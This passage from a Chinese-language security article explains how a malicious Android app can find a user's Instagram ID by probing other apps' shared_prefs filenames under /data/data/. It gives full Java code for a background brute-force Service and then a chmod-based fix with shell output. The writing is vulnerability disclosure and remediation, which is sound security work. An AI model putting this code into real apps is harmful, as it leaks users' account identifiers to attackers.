比如說Instagram，用戶ID標識符（USERID）的范圍在0-2500000000之間，所以惡意App可以通過暴力破解的手段直接在本地發(fā)動攻擊。惡意App可以利用下面這段Android代碼來在后臺對用戶標識符進行暴力破解攻擊：

import java.io.File;

import java.math.BigInteger;

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.util.Log;

public class MyService extends Service {

@Override

public intonStartCommand(Intent intent, int flags, int startId) {

newThread(new Runnable() {

publicvoid run() {

Log.v("brute", "Bruteforce started");

BigInteger begin = BigInteger.ZERO;

BigInteger end = new BigInteger("2500000000");

String dirPath ="/data/data/com.instagram.android/shared_prefs/";

while(begin.compareTo(end) != 1) {

String filename= begin.toString() + ".xml";

File test = newFile(dirPath,filename);

if(test.exists()) {

Log.v("brute", "Account found: " +begin.toString());

}

begin =begin.add(BigInteger.ONE);

}

Log.v("brute", "Bruteforce ended");

}

}).start();

returnService.START_STICKY;

}

@Override

public IBinderonBind(Intent intent) {

//TODO Auto-generated method stub

returnnull;

}

}

當上面這段代碼所加載的服務被開啟之后，惡意App將會被關閉，在后臺進行暴力破解攻擊的任務就轉交給了這個服務來進行。我們在Nexus4手機上進行了攻擊模擬，我們遍歷了2500000000個可能的文件，總共花費了五天左右的時間，最終成功找到了正確的文件：

當用戶感染了這一惡意軟件之后，攻擊者就可以通過這樣的方式來獲取到用戶的網(wǎng)絡服務ID，進而查找出用戶的賬號。受影響的可能是Facebook、QQ、Youtube、以及微信這樣的社交媒體類App，也有可能是金融類的銀行App。值得注意的是，Instagram還包含有一個ContentProvider（com.instagram.contentprovider.CurrentUserProvider），可以用來查詢用戶注冊賬號的USERID，但是默認情況下Instagram是禁止其他App使用這個ContentProvider的。

但是很明顯，Instagram這樣做的目的肯定不是為了將用戶的敏感數(shù)據(jù)泄露給其他的App。

這個漏洞是我當初在檢測InstagramApp的時候發(fā)現(xiàn)的，如果大家對Instagram客戶端中存在的其他安全問題感興趣的話，歡迎各位同學閱讀這篇文章［傳送門］。

解決方案

這個問題其實也很好解決，我們只需要移除“/data/data/”目錄下App文件夾的執(zhí)行權限（+x），就可以解決這個問題了，這樣也可以有效地防止攻擊者通過“cd”命令和“ls”命令來獲取文件目錄下的文件基本信息。

修復前的狀態(tài)：

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ cd ..

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

修復過程：

root@mako:/data/data # ls -la | grep youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

root@mako:/data/data # chmod 750com.google.android.youtube

root@mako:/data/data # ls -la | grep youtube

drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

修復后的狀態(tài)：

u0_a84@mako:/data/data $ cd com.google.android.youtube

/system/bin/sh: [25]: cd:/data/data/com.google.android.youtube: Permission denied